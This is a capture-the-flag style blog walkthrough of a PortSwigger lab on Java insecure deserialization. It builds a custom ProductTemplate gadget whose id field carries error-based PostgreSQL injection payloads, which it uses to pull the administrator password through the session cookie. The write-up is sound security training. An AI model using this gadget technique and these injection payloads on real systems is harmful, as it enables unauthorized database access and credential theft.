Sql Injection By Developing a custom gadget chain For Java Deserialization
SPOILERS:
In This Blog i solved portswigger’s Lab: Developing a custom gadget chain for Java deserialization
What You’ll Learn:
Basics of Java Serialization/Deserialization:
How to Exploit it:
Creating Custom gadget when other gadget chains are unsuccessful.
I’m no super expert in this but still i tried to explain as much, so let me know if something’s wrong :D
What is Serialization/Deserialization:
Serialization is a mechanism of converting the state of an object and their fields into a byte stream. Deserialization is the reverse process where the byte stream is used to recreate the actual Java object in memory. This is used to easily transfer data between networks.
Understating the Basics of Serialization/Deserialization
Lets Start With serializing the simple class before directly jumping to the challenge.
import java.io.*;class Name implements Serializable
{
public final String username;public Name(String username)
{
this.username = username;
}public String getUsername()
{
return username;
}}class Test
{
public static void main(String[] args)
{
Name object = new Name("vanshal");
String filename = "file.ser";
// Serialization
try
{
//Saving of object in a file
FileOutputStream file = new FileOutputStream(filename);
ObjectOutputStream out = new ObjectOutputStream(file);
// Method for serialization of object
out.writeObject(object);
out.close();
file.close();
System.out.println("Object has been serialized");
}
catch(IOException ex)
{
System.out.println("IOException is caught");
}
Name object1 = null;
// Deserialization
try
{
// Reading the object from a file
FileInputStream file = new FileInputStream(filename);
ObjectInputStream in = new ObjectInputStream(file);
// Method for deserialization of object
object1 = (Name)in.readObject();
in.close();
file.close();
System.out.println("Object has been deserialized ");
System.out.println("username = " + object1.username);
}
catch(IOException ex)
{
System.out.println("IOException is caught");
}
catch(ClassNotFoundException ex)
{
System.out.println("ClassNotFoundException is caught");
}
}}
First We defined a class named “Name” in which we then declared a string type variable named username, then a Name function is defined which takes the input as strings and set the username, and at last getUsername() function is defined which returns the username value.
This Means if we give Name(“vanshal”) this will set the username to string “vanshal”
On Second Part a class named Test is defined which will execute the Name Function and store the value in the variable, then in filename variable we can give any file name this will be the file in which our serialized data will be stored. Then there is code which serialize the data and save in the given file and deserialize the data from the serialized file and print it to console.
For more info check out: https://www.geeksforgeeks.org/serialization-in-java/
Lets Compile and Run This code
Now we have the serialized data in file named file.ser
Now how this can help in any kind of exploitation:
If an application sending some kind of user controlled serialized data to the server and deserializing it, Then an attacker can supply malicious data to call for gadget to perform specific actions for ie: executing commands. it depends of the gadget what it is designed to do. Like in our example the Name class is just setting the value of the username we could try to change that that may give us the access to other user.
Portswigger Lab: Developing a custom gadget chain for Java deserialization
Challenge Description:
This lab uses a serialization-based session mechanism. If you can construct a suitable gadget chain, you can exploit this lab’s insecure deserialization to obtain the administrator’s password.
To solve the lab, gain access to the source code and use it to construct a gadget chain to obtain the administrator’s password. Then, log in as the administrator
and delete Carlos's account.
CREDS TO LOGIN THE CHALLENGE IS ALSO GIVEN
Enumerating:
On login using the given credentials and checking the session cookie from burp suite found that its base64 encode value
On decoding base64 to a file and running strings command on the file revels the username and accesstoken and their respective values.
This is indeed serialized data.
Analysing Source Code
In the source code of the home page there’s a Comment
<! — <a href=/backup/AccessTokenUser.java>Example user</a> →
Checking AccessTokenUser.java
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
This code is quite simple and just like the one we saw previously in the Example. AccessTokenUser Class is defined and AccessTokenUser Function Takes two args username and accesstoken which are then set to their respective variable, getUsername() and getAccessToken() returns the value of supplied arrguments
Which means AccessTokenUser(“Vanshal”,”UNKNOWTOKEN”) will set the username value and the token.
NOTE: package data.session.token refers to the directory structure ie: data/session/token/AccessTokenUser.java
Reviewing more code:
There is one more file at /backup directory named ProductTemplate.java
package data.productcatalog;
import common.db.ConnectionBuilder;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
ConnectionBuilder connectionBuilder = ConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
This one interesting lets break down the code,
First ProductTemplate class is defined and serialVersionUID,id,product variables are defined and the ProductTemplate function is called which sets the id variable. ie ProductTemplate(“1”) will set the id to 1
NOTE:
transient means that what ever the value is given to the variable, will not be deserialized automatically.
Magic Methods:
This are some method if defined will automatically execute while deserializing anything.
Just like in php : __constuct and __destruct are the magic methods and will be executed when unserialize is called
In java it’s writeObject(), readObject() etc.
Now Back to the code analysis.
next the readObject is defined in which ObjectInputStream inputStream is which further exec as : inputStream.defaultReadObject();
This means that every variable set previously(serialVersionUID,id) is taken as argument using defaultReadObject( ) , because of this now id(private variable) can be called inside this function also.
Then the code is making connection to sql server and executing
("SELECT * FROM products WHERE id = '%s' LIMIT 1", id)
NOTE: We control the id parameter
then the rest of the code checks for error and in the end it getId() and getProduct() defined to return the values of id and product
So, What do we know so far?
This script takes id value supply it in a sql query which does not seem to do any input sanitization.
Exploitation:
Now Since there is no other gadgets available which can help up we will use what we have gathered so far.
We will create a serialized payload contains ProductTemplate with the id we wish to give then send that payload to the server, Since the readObject is a magic method it will execute automatically and read our supplied id parameter and sent the sql query to the server.
Create this file under data/productcatalog/ named as ProductTemplate.java
package data.productcatalog;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;public class ProductTemplate implements Serializable
{
public static final long serialVersionUID = 1L;
private final String id;public ProductTemplate(String id)
{
this.id = id;
}public String getId()
{
return id;
}private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
}
}
Taking the required parts from the script: defining the ProductTemplate class with id and serialVersionUID variable then ProductTemplate() sets the id variable’s value and getId() returns it, last part of code is not necessary.
NOTE: give the class name and file name same
Next all we need is out Serialize script which will supply id string of our choice and create a serialize data in file.ser
import data.productcatalog.ProductTemplate;
import java.io.*; class Serialize
{
public static void main(String[] args)
{ ProductTemplate object = new ProductTemplate(args[0]);
String filename = "file.ser";
// Serialization
try
{
//Saving of object in a file
FileOutputStream file = new FileOutputStream(filename);
ObjectOutputStream out = new ObjectOutputStream(file);
// Method for serialization of object
out.writeObject(object);
out.close();
file.close();
System.out.println("Object has been serialized");
}
catch(IOException ex)
{
System.out.println("IOException is caught");
}}}
Note: We need to import the ProductTemplate.java to execute it here
import data.productcatalog.ProductTemplate;
Taking a first argument as a id strings then serializing the whole data in file.ser
On sending this payload url encoded using burp got the sql error message:
Exploiting Sql Injection:
The error message revels the server is running on postgresql.
Exploiting Error-Based Postgresql Inection:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md#postgresql-error-based
Payloads:
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 ) as int) and '1'='1 // THIS PAYLOAD WILL GET YOU THE TABLE NAME (users)' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET 1) as int) and '1'='1 // THIS PAYLOAD WILL GIVE THE COLUMNAME WHICH WE NEED (password)Finally lets retrive the password from users table' and 1=cast((SELECT password FROM users LIMIT 1) as int) and '1'='1
java Serialize "' and 1=cast((SELECT password FROM users LIMIT 1) as int) and '1'='1"Encode base64 and url the payload the send it to session cookie using burp
Finally We got the administrator password from the sql server
I hope the impact of insecure deserialization is now clear.
Feel free to ping me on Twitter- Vanshalg